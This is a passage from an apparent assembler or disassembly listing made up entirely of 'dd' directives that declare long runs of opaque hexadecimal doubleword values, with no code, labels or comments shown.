9A1500FAh, 6038EBA7h dd 0F73A7B30h, 20980FDEh, 6D3AC0ABh, 6256452Ah, 0DB325808h dd 28B10640h, 0F6BC5B16h, 73106C44h, 504434A7h, 21CE00D6h dd 1EFCA79Dh, 9C0052A8h, 0D3E14ECBh, 1A10B13h, 819A7DE8h dd 205FA067h, 0DB099864h, 20FBD0CFh, 7F96CE9Ch, 38057CF0h dd 4A8C4E2Fh, 49F1B42Ah, 0DAE8FC00h, 0B56AB80Dh, 9F62173Ah dd 0A3020065h, 0F9ACAD30h, 0D36CF418h, 18C76F51h, 116A3F1Ch dd 5F72321Dh, 82A24000h, 9D16E268h, 78A6007Eh, 0E1451A8Dh dd 0A8F081FEh, 5A00F492h, 6E84422Ch, 2AA191h, 165C2D1h dd 295FE9C7h, 0DE634700h, 59BEAA5h, 0D21906D4h, 0E0480A35h dd 0FA74BCF8h, 8D00CCFCh, 0C988A7F0h, 74FE192h, 5D7C8C85h dd 5CC820C2h, 4E01B34Ah, 0F70D34A6h, 0F8200AE0h, 2131884Bh dd 0F6FEAD00h, 82DC398Fh, 0E4FF87Ch, 706096CFh, 0D6B5ECC0h dd 1E3F9D9Ch, 0B0049C64h, 950919D7h, 0DD1CA3DEh, 9ED9158Fh dd 0CC15DCD9h, 9218B0D6h, 12C294Dh, 34EEB490h, 529EFF09h dd 4640991Eh, 0EC852A10h, 0F6EE0800h, 7243BB6Eh, 0B86B007Dh dd 0AF377E56h, 0F500B1C6h, 0B5023047h, 71F0C91h, 2262816Ah dd 0FAC253AEh, 2C485292h, 3C144130h, 794FFE4h, 4E2EEB8Eh dd 0D3191D21h, 0A3E070h, 0F7529ACCh, 5E37F3E5h, 7C57A705h dd 90163216h, 1EA80020h, 8742006Bh, 282E0AC9h, 48B1E567h dd 64402B64h, 0ADEBE39h, 9FD811C3h, 0CAC79940h, 4CC8EF0h dd 7D8296E8h, 0EB3480ACh, 8A17838Fh, 4C5248DAh, 0CB476840h dd 7AAF3Bh, 0B02DF0D2h, 9CB71279h, 0E0024FCh, 0C6A9DE36h dd 28CAE318h, 3BC1AECh, 820344E1h, 10017DD1h, 0F0D455CDh dd 0F16AEBD8h, 0AFD40085h, 61007E52h, 1D2362Eh, 15DE24h dd 12486356h, 0A1AC203Eh, 0A9BF3800h, 0A60D1B8Fh, 432900D2h dd 76EEBC6Bh, 0A838AC06h, 57D98C9Bh, 72E5B8ADh, 38BF00DFh dd 97068A92h, 147315D0h, 0A7C1FE1Dh, 6D2E0BC0h, 7E84C9F2h dd 4508001Ch, 7DF01486h, 760E8CFAh, 81A453F8h, 0E4714C2Eh dd 3E4DD1F4h, 0E0808F80h, 0D97A4F11h, 22008627h, 0D157076Bh dd 75833B01h, 88FC004Bh, 0E8EE4C8Bh, 0B2011D4Fh, 3F6504B5h dd 37300568h, 0DF350BB4h, 2F05711Ch, 0D5BC001Dh, 5010160Ah dd 0F113D600h, 667CB485h, 0C3241D2Eh, 0DD62C2EBh, 0E76016C2h dd 8A009474h, 8805F24Fh, 258D0F50h, 0D400FFE5h, 2A16BD44h dd 0DE60300h, 0E36D2F5Ah, 56A03EE0h, 0E2641500h, 0B1064621h dd 0AC73900h, 0E0909B1Fh, 6E76003Dh, 0CDFDF163h, 0F37E6918h dd 790BF512h, 0A0E42400h, 4C7F40BBh, 0C71874D8h, 72ED1811h dd 5E97B700h, 765A67A1h, 166E007Eh, 0D53EAD5h, 0A905BD0Bh dd 2A3BF190h, 71140B0h, 52B94539h, 0E9015067h, 0C400D544h dd 684C8016h, 1D7B23BDh, 0E7F7E402h, 0F66CACA0h, 0ED09F5DDh dd 0E069EA38h, 73749FFCh dd 0AC9C50E2h, 2E17132Dh, 0E6809241h, 0C6608CE4h, 1A3D29B1h dd 359A1E59h, 3A1080D3h, 0CA8F556Bh, 5AA92007h, 0E8B01842h dd 9051E33Bh, 77903F28h, 3ED4FBA8h, 4102F563h, 0EDC574CEh dd 245C64ECh, 812E7180h, 8D262CD4h, 0E4098A1Fh, 207C0E5Fh dd 5C4DA23Ah, 4400262h, 0D11EC936h, 49D76468h, 87752802h dd 68EA1632h, 265205F4h, 966C61C0h, 9940409Ah, 0B1CDB090h dd 60FF8900h, 6C568FC1h, 445900F0h, 20710997h, 0E800F3CAh dd 0BE027857h, 0E0DFAB11h, 60210090h, 0D68CB12h, 0B7030E94h dd 0B06A8E3Ah, 99A80950h, 34097CA4h, 0A0217805h, 0BA0ED93Ch dd 5C6034EBh, 6A7326C7h, 0BC0095F5h, 0DEE06101h, 195201F6h dd 8A829427h, 2B7C7412h, 0A618ECB0h, 0C860AF0Dh, 0E89500D4h dd 402C5831h, 83DC44Dh, 1FE483D8h, 0D8696DAEh, 0BD9BD0h dd 0A039F977h, 6BBF1D53h, 65FDB600h, 79B5ABF5h, 16471EADh dd 0E85486A3h, 9B0070C7h, 0DFF1E331h, 0B675EE96h, 7F3003Ch dd 658DB829h, 10E2FA2Bh, 6C59F910h, 98CBAB03h, 80C997Dh dd 181F3EA1h, 1BB7C9Dh, 0FAB6494Fh, 20D2865Eh, 83031B86h dd 0D82FFCF6h, 7FE7F0ECh, 8D4B00EDh, 0C395FF3h, 820034E6h dd 607665E4h, 0E0A405CFh, 5EC50075h, 0F466147Bh, 0CDF8E32Fh dd 0C9C30278h, 0C1F9E2C9h, 3E2C2C8h, 0FFD36B67h, 299BA802h dd 780EE4E3h, 6CD300B0h, 0F519194h, 780098DDh, 197583A3h dd 18BDE2D9h, 49C35D85h, 260BB499h, 50860Fh, 1ED8FBF2h dd 0E5FF00EFh, 0D903A437h, 97004DC3h, 2F1C191Ah, 2A68EDB5h dd 1C98748Fh, 0BE039131h, 0BA8918FBh, 1204196Dh, 80C9E93Ah dd 6F313C5Ah, 18BC2A4h, 9268E7BEh, 8499C1B6h, 0ED1386C0h dd 0B3034EC0h, 35378C3h, 27247AFDh, 5100C68Eh, 8B39B0F2h dd 4D0491h, 0D2B4F477h, 0FA0CD359h, 19FF0A00h, 4FC66C6h dd 3FF09Eh, 0B392F66Bh, 5C0C75A3h, 4492A5F4h, 0F43CD57Ch dd 0E1470040h, 0FB4BEFADh, 0CD774Dh, 0EC963017h, 785E1ADEh dd 7840D44Bh, 7BEE3AEBh, 92AD001Dh, 5FD0AAACh, 417822Ch dd 0D5038A41h, 305FC14h, 0F7452931h, 0ABD00BEEh, 7E068508h dd 17EDC7C2h, 0A25A0089h, 6A66EF31h, 0BB2EBFCAh, 0A4067084h dd 0FF978AFh, 0ABE5E452h, 777E6Eh, 25D7F18Bh, 0B3006BA0h dd 849AEB08h, 13BE27h, 79E86205h, 0BBD709Fh, 9C2D4B1Ch dd 0F9D03B40h, 0CC8BA41Dh, 7221B108h, 1703877Fh, 9650FE73h dd 0A3191293h, 9FEA104Dh, 7814351Bh, 0F8766BE1h, 6E06C69Fh dd 66F159EEh, 9C4C3308h, 0BE0BC20h, 5307FBCBh, 13985007h dd 0CC8CD61h, 0B7C84C4Ah, 1BC7CFC0h, 4895399Ah, 13BB08FEh dd 40116236h, 0E20B7582h, 424CFF88h, 4B009DA7h, 3AB60B6Ch dd 0E0803942h, 0BA1D1EB7h, 3D77E9EEh, 6DD4739h, 626D9450h dd 5DA80680h, 40AA45CEh, 591E4219h, 0D0F0AB18h, 9679C071h dd 0BB94219Dh, 555DD00h, 881D4772h, 73BE815h, 136564D1h dd 77243162h, 161C40FAh, 2500F7EBh, 0D4B602C5h, 7612643h dd 8BACC778h, 89DF8606h, 4F01AB07h, 0E4B9293h, 6909512h dd 0AAD65DFAh, 2F423CE1h, 5426316Eh, 0C6016808h, 0B3BE7C55h dd 29CD67BCh, 0C2428CDCh, 0D77DF429h, 0D136E60h, 56A2510Fh dd 0E467EBAh, 69A966h, 8D0AEADCh, 0D422A18Fh, 2CC6233Fh dd 0D3166677h, 554C1D00h, 1D639EAFh, 32FC0BDh, 16B36C7Ah dd 209AB5C7h, 0C8E4909Ch, 0E1357D1Ch, 19E3A1C6h, 215C6008h dd 0BAC8EC99h, 29C05D00h, 52623725h, 0AFB51C97h, 59AA4C71h dd 8F00DDD9h, 0CDD28765h, 3ADA4C46h, 2430415Dh, 65E71321h dd 0BC83EA00h, 0E17FDFDDh, 0FEEB005Bh, 55A6929Fh, 570227D7h dd 0E8B24349h, 93CC87FBh, 82B635D2h, 8F41B10h, 0DAAB8084h dd 4CE08AC0h, 5B73C318h, 4992E228h, 0C29C44E9h, 7EC6E10Bh dd 4E13A331h, 0D4F010FFh, 6E00A0E7h, 0CF39ED9Ch, 3493732h dd 0DFAA13BFh, 0F806A3A2h, 0EB879D54h, 80ECA018h, 0C04B7039h dd 310C2610h, 0C103C84Dh, 1E1A449Dh, 93528815h, 54D51DEAh dd 189C8007h, 4DFC1F6Ah, 8B36B300h, 0C579569Dh, 1B571D9Eh dd 0D6AA83BDh, 0C4D8CE60h, 2B074651h, 0ACC0F475h, 10C8E650h dd 0ADD80082h, 7A3FA0A6h, 800076A7h, 2A70A39Dh, 0EEB93847h dd 0F58D00C8h, 97363B4Ah, 0E600756Dh, 0C0086C2Fh, 0F97B2Dh dd 0D284A88Ah, 158B2E85h, 0DAF2EA0Ch, 76B338F6h, 0DE350046h dd 340A766Ch, 7A006A87h, 0DB1D8F90h, 0E214D6B7h, 6FB258D1h dd 0FD056F03h, 49C87D35h, 7A0C56A4h, 302395D7h, 1BF30022h dd 0F6F7DB43h, 0AE0329ADh, 0FE93FFD4h, 20C4C088h, 6399058Fh dd 6D9CFBh, 7EE0DCDAh, 420083F7h, 0D6A2ED97h, 6F4326h dd 884010F4h, 0CD509A7Fh, 68F72C37h, 89787011h, 8520A094h dd 3E41007Dh, 969E6A2Eh, 2D05838Ch, 0E244B23Fh, 75F67A80h dd 0A4E64Ah, 41189925h, 0BBAF6B92h, 142AFD3Dh, 10C393Ch dd 0CE5B24BDh, 488BBA9Bh, 5A039C75h, 95E0557Ch, 0F8E811F6h dd 0B144970Fh, 280CF67Bh, 60E0412Dh, 64C71983h, 601C793Dh dd 2707CC9Ch, 1433C27Ch, 89B7A02Bh, 6C7D18A4h, 41F7E097h dd 0AC85B400h, 9FD26EF2h, 0CE480287h, 0B7FEAB8h, 9BD9B360h dd 66DE6B07h, 0B3764CE6h, 11D0B721h, 90F08100h, 0A67E30F7h dd 1F410F02h, 50D88AB7h, 808692A8h, 68CF2288h, 112848E3h dd 7DF2472h, 597B3300h, 0EAA6F48Ch, 11E60021h, 17A12C69h dd 0D93749DCh, 0A10F3081h, 9FDD60F9h, 0E8CA1080h, 12788E65h dd 6BAC0307h, 0D6460288h, 0E1250021h, 0BCA55A65h, 2E076F18h dd 0F7F5351Bh, 0C562C07Fh, 64A7A67Dh, 809630EAh, 0BCAE6FEEh dd 6802D328h, 190E656h, 0D90475F0h, 68524F53h, 0F829204Ah dd 12184075h, 99595FC6h, 0D455001Eh, 0D0C26F46h, 4A001714h dd 1C39B8C5h, 0A64D5A1h, 2E73ABF2h, 0D2E900A8h, 0F0B93CF9h dd 964C38h, 5D226713h, 303848EAh, 0FCB8C0F3h, 0D37FD590h dd 7838247Ah, 23AF0260h, 40CFF958h, 4F3D6DFCh, 942BE06Ch dd 7FC9E600h, 1FB19EDCh, 0F7C107DEh, 3080F995h, 55EB1120h dd 96F6AD00h, 0B039C05Eh, 371901E1h, 9CFD0A84h, 18A2F488h dd 0E94AA00h, 3AC0B5F7h, 1EC6ECC7h, 81B4D512h, 6DFB15B7h dd 0FAE8FCD1h, 2CBD1000h, 217E63E9h, 0CFC80022h, 0EC6A1704h dd 8006825h, 419C78DBh, 0CA57A9AAh, 55049610h, 0FA8BD86h dd 0E3940010h, 1A03494Dh, 0D300F0A4h, 0A89C1DA1h, 0E8A4EC2h dd 9A78EE74h, 0B16D5B40h, 0C400D963h, 4CDA2FE4h, 1F07BBC2h dd 17A8Bh, 0ACD0AFFCh, 0BD00B629h, 1FDCBE4Fh, 484660F3h dd 3300C1E4h, 537C51F6h, 68002F05h, 9A198D52h, 1CAF5D88h dd 801DE26Fh, 0A5178502h, 0DF00C14Fh, 8814D34Ch, 9E3C8h dd 950C077Dh, 8728A13Eh, 8C805603h, 0E8054E36h, 4D51E2h dd 0BE48C8DDh, 498D6F8h, 6C684A03h, 0C0807409h, 28BF762h dd 0E4E0F272h, 0CE60C366h, 0D0006D1h, 363102A9h, 398ED6CAh dd 9480C70Bh, 4BC896E9h, 0A2016ABEh, 0EA2F41E1h, 5EC45292h dd 8E0400A3h, 0F6249475h, 47000921h, 39BE6D55h, 0A03AEF7Bh dd 5776B4h, 881E7061h, 4D52DA97h, 501D5F90h, 4580FE63h dd 205A5F84h, 0FDD23940h, 0A339BF8Fh, 0AE00DCF5h, 0E49B6655h dd 0C0199BAh, 0F6936153h, 0ECC31A7h, 14F80027h, 6FC8B7B9h dd 85001907h, 52EBEC97h, 0EC31EFBh, 616344C5h, 949CD018h dd 0F08DC900h, 2D230F9Ah dd 6350737h, 6052FF65h, 4B0D27B8h, 0B208C203h, 0E8E073F4h dd 0D48489h, 108C2551h, 5D3C2A6Fh, 0A9F84C00h, 32E55FEFh dd 0D8560099h, 0C1B0FFD2h, 0A5395CF5h, 554F803Fh, 0C31B6FFCh dd 4E320F41h, 89E0AAC4h, 1F378F97h, 6E34AE02h, 819610A4h dd 11CBEE4h, 4CE231CCh, 0A904AA4Ch, 807BE0F1h, 0A7D80BD8h dd 0FDC07A00h, 0BAE585BCh, 9F291F18h, 8831CEF3h, 607C4F80h dd 774C27A6h, 2C42581Bh, 4300E7CBh, 0C694DC64h, 0B37B5Eh dd 0C7B3CABh, 321A9C05h, 8215F800h, 6AE0B7FEh, 0CA1013D0h dd 93C50009h, 924D946Eh, 6BF5C726h, 0BB0B4A01h, 8EE0FBB0h dd 43E214C2h, 110EDC6Dh, 74202D19h, 0D6BF0CABh, 0C2908FEAh dd 30F1B001h, 0D8671E65h, 0F400824h, 13AADCEBh, 0CEB27AC0h dd 5F0020F2h, 6146124h, 21CC433h, 0F7393B9Ch, 6FE0A4AFh dd 0EC003FD1h, 442704BEh, 4D7093FAh, 570020D5h, 0ECA3153Eh dd 13247AE0h, 0E00639Ch, 2191A5B6h, 8978C0DDh, 0B75EBDBBh dd 330024F4h, 0C5462E53h, 9026D047h, 20273B3Ch, 0CC805C48h dd 511F53C4h, 73883E50h, 70625D30h, 7B02DFh, 0AFC7AB27h dd 8112E5A7h, 0A8F03100h, 2ED6B821h, 0D80A172Ah, 456A0003h dd 23516236h, 7D7E0098h, 0CB4D5F00h, 0C2780C32h, 94D400E4h dd 6CEBA2A7h, 80003BF6h, 4FC5735h, 0C02775DAh, 7D8BE030h dd 6B001BD2h, 78FAFEA7h, 288E52h, 0CD386D40h, 87DB80E7h dd 8036C328h, 692E5800h, 126778FEh, 8F080725h, 0D019C4A1h dd 432DE26Dh, 72B92F16h, 0CC660000h, 237B61Bh, 241F5EFh dd 8A80DB21h, 87B3FFBEh, 3E540107h, 9E5038B7h, 0CA2253h dd 9C460A16h, 0DE1B1D5Eh, 17CA94Ch, 0E7AB8763h, 3C2072C9h dd 48DC0045h, 0E3842D6h, 6624AD24h, 31009451h, 3464F27Eh dd 0F179020Dh, 5D078A7Bh, 551AB487h, 6F1C084h, 0D20044C8h dd 5724ADEBh, 6E985Ch, 5F2EF3E4h, 28C514A5h, 0C878D400h dd 0B3B2F08Eh, 26CC00D8h, 5AB13B94h, 540089FDh, 0B577C6DDh dd 1DFF3450h, 0C0AD35EAh, 44C98B78h, 0DC05C51Ch, 5CB67BDAh dd 0EAECC0BAh, 3492D6B3h, 0E81BFF00h, 0C4542747h, 0CF3503A1h dd 4172E2BAh, 5AB73C0h, 82AE180Eh, 6A4D008Eh, 0B8DBCD59h dd 3CB4E0BDh, 5D0051CBh, 0B742DDD2h, 0C500AE55h, 57A53D38h dd 9894B68Fh, 5B43CADh, 0CDB2A382h, 68C0C1E0h, 87000BECh dd 5BF87D16h, 9F1E2F7h, 94CB5937h, 0D2E75820h, 0B3001AC1h dd 4F7702BBh, 6E2ACh, 91B28916h, 6BB943CFh, 85360509h dd 5F3000EBh, 0D270D4h, 0CB9387D7h, 0B8436296h, 49F640C0h dd 32171Bh, 87C565C6h, 0F1DEE244h, 97840300h, 0F24B81BDh dd 7D6900CAh, 0B9632005h, 0C8004873h, 2A2CA5A7h, 774AF7E7h dd 0CC9450FCh, 68B9006Ah, 0E3D87493h, 0FB00E596h, 0CFE07CD6h dd 7414110Bh, 0BC7201C1h, 8EA64819h, 852880D9h, 3930A06h dd 602400ABh, 82517299h, 0E24CBD43h, 3681040Bh, 18880529h dd 0DC6D0579h, 806057C0h, 6ECB750Fh, 35C30E02h, 60EDD9C9h dd 0C987927h, 0D586EFF3h, 0B4003B10h, 0B0418BA3h, 0FC74EBh dd 7B16C13Eh, 0CFE1BB36h, 0C7644500h, 96BF61D7h, 0CE28012Bh dd 0BA1BDADEh, 0D619F431h, 27E9EF1Dh, 2B856AC0h, 721423h dd 7B96FAB1h, 0EE5ECD98h, 43E04001h, 381DAC87h, 6F0BCCh dd 0AA244ABBh, 52F2B8ABh, 5E66FD01h, 2568A488h, 2C89CECh dd 37721A1Dh, 0AE60D367h, 0A67EA571h, 0D0B34F00h, 0AE3D26A0h dd 0D3100FFh, 3A322CCCh, 615D0E3Ch, 0B599138Ch, 7D4DFA00h dd 2305B7h, 4FC3FD45h, 6CB165A7h, 15CA6200h, 0E026538Ch dd 0B27618C5h, 0FAE68050h, 24EB6824h, 1F17C181h, 8CE4E2B7h dd 3B3FEEAEh, 0DA859978h, 81060E74h, 329F4A59h, 9B95029Ch dd 406F9AEFh, 3160FA6Fh, 0BB990B15h, 0CB1440E2h, 0D233EBE4h dd 0A0D008C8h, 679B257Eh, 36152158h, 0F503390Eh, 0A324FD8Dh dd 7282A02Dh, 0A2CE000Bh, 0D1B741ECh, 6100E403h, 0E32B6684h dd 38395E8h, 7E191080h, 0C1E06217h, 200F33EBh, 0F4BA6021h dd 0C8FA0CC5h, 77A36063h, 7EB011Dh, 0D1AC5D37h, 8BDBD1E5h dd 0A0454110h, 6B8685Ch, 4D900021h, 0D1BAF887h, 50057BDh dd 0D56E3A7Eh, 0F2B89AC7h, 0F96FECAh, 6CB56F34h, 698C4DC0h dd 3B004C17h, 0C27DB9DFh, 0D00AFCh, 0F65E16BBh, 0C35DA092h dd 802F7638h, 598A97DAh, 90B88F23h, 8598BA59h, 0DE40FD04h dd 1BC1066h, 53FE7718h, 81FDEAD6h, 90C12E20h, 31804360h dd 9E1AD868h, 0FD0CCDA3h, 83DBB5Ch, 0E621C005h, 3C31AEBh dd 9CD29C3Dh, 0B2977D34h, 70A9BE01h, 10389742h, 35594A0Eh dd 62BFE602h, 990D100h, 6EC10EB0h, 9DC04BC3h, 7A38A813h dd 0D8A14A00h, 8F02DAAEh, 0CEEB0E6Ah, 0D107B86Fh, 2D1DC0D9h dd 5E00AA7Bh, 0EC9C01A0h, 64099Ah, 0CA61D0CEh, 4175C94Fh dd 0A9025B0Eh, 93D180F7h, 0D8EB57h, 0A1C5CD61h, 1D47CE4Fh dd 18495A58h, 0BFA89488h, 0F13C0050h, 0B24A694Eh, 0D019BA5Bh dd 0E3C98DABh, 1D25D0h, 0ADB007ECh, 22549F81h, 0C6D09600h dd 0AA5F7FEAh, 3677EEDh, 60A0E051h, 91F93B88h, 0B7C0505Eh dd 75195AA9h, 0E3807FCFh, 0C1788992h, 0ECA19EC8h, 0F47F1321h dd 0C0571E03h, 0C5DCB34h, 0BFAD7341h, 10E2BB1h, 378BC2h dd 59C922B8h, 2450005Ch, 0F503E7A7h, 0A33055BEh, 29BB318Ch dd 5EB9166Eh, 0FB7D0F3Ch, 8943B2A3h, 11C62103h, 8C579F7h dd 0A99AF438h, 6BC8E498h, 4A680A3Ah, 80E45AE9h, 1B11BA36h dd 14B08CC8h, 0C8961028h, 3C03B5Dh, 0FF118294h, 8DED8991h dd 0A83A97h, 0C9983E1h, 18905D9Ch, 0E15CB730h, 1CC87Bh dd 48D31D6Bh, 0D14F105Ah, 0D9569200h, 2ED517F9h, 0B29E1D87h dd 6E054A58h, 2060969Ch, 596CDE98h, 95B3FC00h, 7D8E435Dh dd 506E02F0h, 60D37963h, 0E9A82448h, 88004B4Bh, 721068A0h dd 460103F2h, 73231164h, 0C45885D9h, 0A091A8EBh, 0AF0B8B00h dd 41CC033h, 0A9F7092Dh, 0BB4882D9h, 185B68C0h, 5557E116h dd 83BC4D10h, 0EA3E886h, 404A99A1h, 200DC907h, 0DD347706h dd 5A15F0A6h, 78A0312Eh, 0FE1D10Bh, 0C9500CBh, 0CA73EECh dd 0A6F748Ch, 0C1003851h, 89E88150h, 1B34DC0h, 42ED7A65h dd 0D1C59A85h, 0CCE4508Eh, 0EB781479h, 5C747C1Dh, 0C5B51040h dd 30920E12h, 0CA983DD7h, 3105C8F6h, 0B29B3423h, 0F8B1940Ah dd 1D800D9Eh, 0C783CD16h, 5380A023h, 304B9E3h, 0F19D3B73h dd 0C84B1832h, 0B06A2154h, 34885187h, 0D67042D0h, 150EC444h dd 0D21E97B2h, 84ADC40h, 90CBC9Dh, 0B6B893EBh, 3151E431h dd 8108140Ch, 4ADC2E10h, 84D38F14h, 0A48843AAh, 226B1F84h dd 9A053D21h, 0C27D2A37h, 0A446DED0h, 26CD80A1h, 5A0875E4h dd 7097CE4Ah, 13F6B69Dh, 0CA0FA700h, 0A1872560h, 0A9D72085h dd 0A0A85700h, 848EE24Fh, 777F2409h, 10C51414h, 91D24B06h dd 0B8127156h, 1F003855h, 8E93E962h, 60ABFCBBh, 20E1214Eh dd 21000B17h, 897FF177h, 9E683E4h, 85E85BA6h, 8A82D8E0h dd 0B71DD507h, 0AFB11573h, 0DB20AB4Eh, 2E440C27h, 0E851B2CBh dd 44AFA0Eh, 37D06056h, 3183CDDh, 85B9019h, 0BDE1D4h, 7E74828Ch dd 0AA8057E3h, 47450F61h, 209AD1D4h, 0A0443042h, 2FC7EB00h dd 253DD699h, 0C1ED0088h, 0EF940D39h, 0F7055068h, 0B10B821Bh dd 5376280Fh, 0D84AD033h, 0F48511h, 13179C62h, 0A041CBA3h dd 0F96A1000h dd 1E6033F1h, 2FA0A0FEh, 66B000FFh, 88FF289h, 1F008A67h dd 0B6DFBC8h, 12168626h, 257D77h, 62A5AADCh, 76546F79h dd 1890F4C0h, 405D0900h, 554B8FBAh, 4F130470h, 0C05A740Ah dd 0E2F7E35Ch, 0A21F0D73h, 6C64E9ECh, 395AFB80h, 1B0BDD1h dd 3489E24Bh, 0D17FF3EFh, 9422C0C2h, 8C4AE4Dh, 3B9B38CAh dd 0F99454h, 764CB593h, 0D31026BEh, 0D0115C16h, 0CA01DB03h dd 0B890E4E9h, 0A1423CEh, 12B17D31h, 0F97104CCh, 0E9BB00F8h dd 32AEFDC2h, 0EF58E01Bh, 106F4461h, 0D4E67A8h, 22EB7A5h dd 7A88F0B9h, 7530A090h, 99D62977h, 0A85004DCh, 91624080h dd 807475A8h, 19BE421h, 4D340B71h, 863A9882h, 0B28C5E26h dd 5DDC808h, 9D0F02DFh, 431CA7A0h, 93D18682h, 0A0ABC2D8h dd 24743A80h, 85AF0091h, 444D8427h, 0A43E9C2Fh, 5D10039Ah dd 3A6FE4h, 0AB405E81h, 0B12255C1h, 0F5597D18h, 26D7DB49h dd 93649EC6h, 0D0B4043Bh, 80AD0BA3h, 4D572878h, 44B10Dh dd 9729CF7Eh, 771D0578h, 6D58BB02h, 1035A058h, 185DDEDBh dd 4838B247h, 0F7A08854h, 353B131Fh, 159063Ch, 29499CC0h dd 1CC0224h, 689B19B8h, 1B1848B2h, 4BEFFD00h, 9752D114h dd 0C7C0C090h, 35BBA8CAh, 4F4A2400h, 3CE194D9h, 452D0402h dd 81826DF9h, 705355C5h, 0FC1208E8h, 0EF000154h, 96D75223h dd 1202EA8Ch, 580B3363h, 6864B8C8h, 6DC8B88Bh, 0E09CA9B6h dd 35B29F10h, 11953D35h, 0CCF70C03h, 85108092h, 1C602A94h dd 0F06400DCh, 9FA716DDh, 0B6075FA6h, 43652E7Fh, 74F7E481h dd 0CE7CCh, 6F130245h, 6120BFD4h, 21F2980Fh, 0A0B8818Dh dd 24F44B17h, 4E080E58h, 0C1601D8Bh, 3E788F13h, 0ADF34Ch dd 0CE02A938h, 778EC2A5h, 9DE73EBh, 62AE866h, 15D76840h dd 4710C142h, 1A5FC07Ah, 8CD5A39Fh, 913344h, 0D66F1AAAh dd 2B1639BCh, 0B1D72E16h, 0E29C420h, 4335178Dh, 65804F20h dd 0C050AE83h, 7B0F4078h, 0A1A8156Fh, 7E0CB675h, 4BFE6065h dd 144A8048h, 6A2B0058h, 0A829181Ah, 67803A73h, 959101FEh dd 354A40ABh, 0BA38CCE8h, 2EBB9801h, 0F0242625h, 0F8991280h dd 9352D9DAh, 8406C90h, 7FA9C342h, 0A11310ADh, 0FC4B82E6h dd 0C2AB80C9h, 0F19F3Ch, 0D6FB9213h, 0FCCED405h, 7AB1DF0Ah dd 3B9DE81Fh, 0C686E245h, 0C3C1C087h, 0F8D0DBBFh, 70CE001Eh dd 0EC5611A8h, 2C0F8305h, 0E760FEB8h, 86C15D6Fh, 0A85204E3h dd 0E84450h, 0E86D98D3h, 9D848D10h, 5D871600h, 753A42B7h dd 7BF00211h, 0A60D8EE3h, 0AC379842h, 0F02F6BCh, 49BAD2Ah dd 7E2C6475h, 0A1AF00A0h, 87FB685Dh, 474CC337h, 5092404Eh dd 82718503h, 0E011B3D5h, 1F3FAE2h, 0DEED8978h, 34834587h dd 0D09992A8h, 0C3593000h, 3BEA3FAAh, 8F803D27h, 4923B375h dd 5A012A8Dh, 3C67946Ah, 0FC72DC82h, 1A05B00h, 0C5C11228h dd 0D560B496h, 0F6A3991Ah, 1C6086FAh, 1AD07BC1h, 41504A89h dd 0E8DA78D4h, 0D8B0D082h, 0AC794D00h, 4C1A7355h, 0B0F8600Eh dd 0E988BF62h, 99B2D912h, 0DC71440h, 3A02A1B8h, 74BCA69h dd 0E40CA3FCh, 1B08C048h, 2026F8F3h, 50001495h, 0E4D1AA75h dd 206A60B8h, 0EBC09B94h, 0A2525190h, 8461C220h, 2C591A90h dd 36183379h, 0AA9C3907h, 4899F8E0h, 0E8762840h, 0F2D30077h dd 844F1A96h, 561F6BFFh, 695753B8h, 6723D43Ah, 3F6B2400h dd 92DEAC02h, 407B4A88h, 3968B7B0h, 55000347h, 63A52366h dd 1F57B4Fh, 0F6D3838Dh, 30FAE00Ch, 68252EE4h, 2590984Bh dd 0C8DC0811h, 0D64EC94h, 11ADD540h, 0EA5C86FCh, 5D998EFCh dd 9F7A2780h, 2E1309h, 0C84C436Fh, 0A43FDD2Fh, 3BF528C2h dd 0D27490D9h, 0CF6E115Ah, 214D8CF7h, 38457BF1h, 38EBF36Fh dd 8C054A0h, 0AE0015CDh, 1188F9EBh, 5EB6BAh, 57CFD889h dd 3CD53FAFh, 6E002EFCh, 2DAB298h, 8A12708Eh, 18AC8449h dd 46153571h, 92D8621Ah, 1444DA20h, 0D9EA70h, 1B45758Eh dd 28B66DBh, 204C2A06h, 0EA169A8h, 4D618AE9h, 87887840h dd 3702B2F3h, 1E7C1A7Ah, 3DF16132h, 0D278A087h, 3807F996h dd 0D160B809h, 21A39D1Ah, 78A4FA65h, 1ADC4F40h, 3451058Bh dd 33E10CAAh, 0CAE8E7E8h, 55775483h, 69E1C460h, 99A6ADh dd 0B564ACB4h, 0BB55BEF3h, 0B321C165h, 376A488h, 0A1882064h dd 0A8AE3B83h, 7B230343h, 0F81A1B09h, 4454848Ah, 0D600B569h dd 5BA3E21Ah, 9CF444h, 6564BB4Dh, 8ED48993h, 1A83C004h dd 9888E377h, 9F6D002Dh, 7B8B105Dh, 7254AB22h, 0BC1D82ACh dd 0F94E9367h, 0E419E06Ah, 0E8BF17h, 0BAE7C628h, 0D7996B4Dh dd 0FE85DCB6h, 0D70A7536h, 3E958882h, 78D053E8h, 0E304B3B0h dd 91C6FF2h, 4231C99h, 0A30C0A2h, 60E400DAh, 0B021478h dd 21D95130h, 19C650h, 3DA39090h, 48C42C99h, 0BE440481h dd 9BB4DCh, 7BD24A7h, 88084183h, 0D3E4F60Bh, 0E3C8A737h dd 0D400B0A5h, 8D727520h, 0D38A098Eh, 0B080ED01h, 0B781DDB1h dd 87EB5000h, 46C30344h, 0BF9B035Dh, 67213CF7h, 0B4EE40FEh dd 4C00CCEEh, 0D017D18Ch, 260954E8h, 9158066Eh, 762E9CEBh dd 0C547CF09h, 58978F2Ch, 92D3BF60h, 0C70AD987h, 0C050E9C0h dd 3E00659Eh, 27C92D6Ch, 30D476DEh, 1D0EA647h, 55126BF2h dd 0DC32C18Eh, 156E30A7h, 9D215F7Dh, 8F91BCh, 0CC2BD91Bh dd 22891Ch, 0BFAFF990h, 631A0665h, 8308D14Ch, 0CFCF7CB9h dd 0C40415A0h, 0D4862C44h, 0B98949C8h, 0C9964A3h, 5BDFC388h dd 3632AD00h, 0BB16CCB8h, 68425986h, 5B4260F8h, 613B991Dh dd 402010FAh, 739043BFh, 0E4831C9Eh, 8BF5BC18h, 92C8F843h dd 631F17C6h, 0E2BC20E8h, 0BA003E4Ch, 2188B12Dh, 0F2BC1FA8h dd 18752A93h, 7B90098h, 1641E123h, 0B8029152h, 63CD7EBDh dd 50D2E5h, 44500F2Fh, 0DAA7BB88h, 64F67E00h, 5C53101Fh dd 92901D8h, 0FBA07D1Ah, 0CF041EDh, 34833C2h, 0D52E3C66h dd 538B6Fh, 954E4B79h, 69A918CFh, 310F4090h, 0E0F473C8h dd 0C38B0480h, 5C57E423h, 3B009A2Dh, 2E6A337Eh, 6030C979h dd 394F490Dh, 62A81FFDh, 6D118066h, 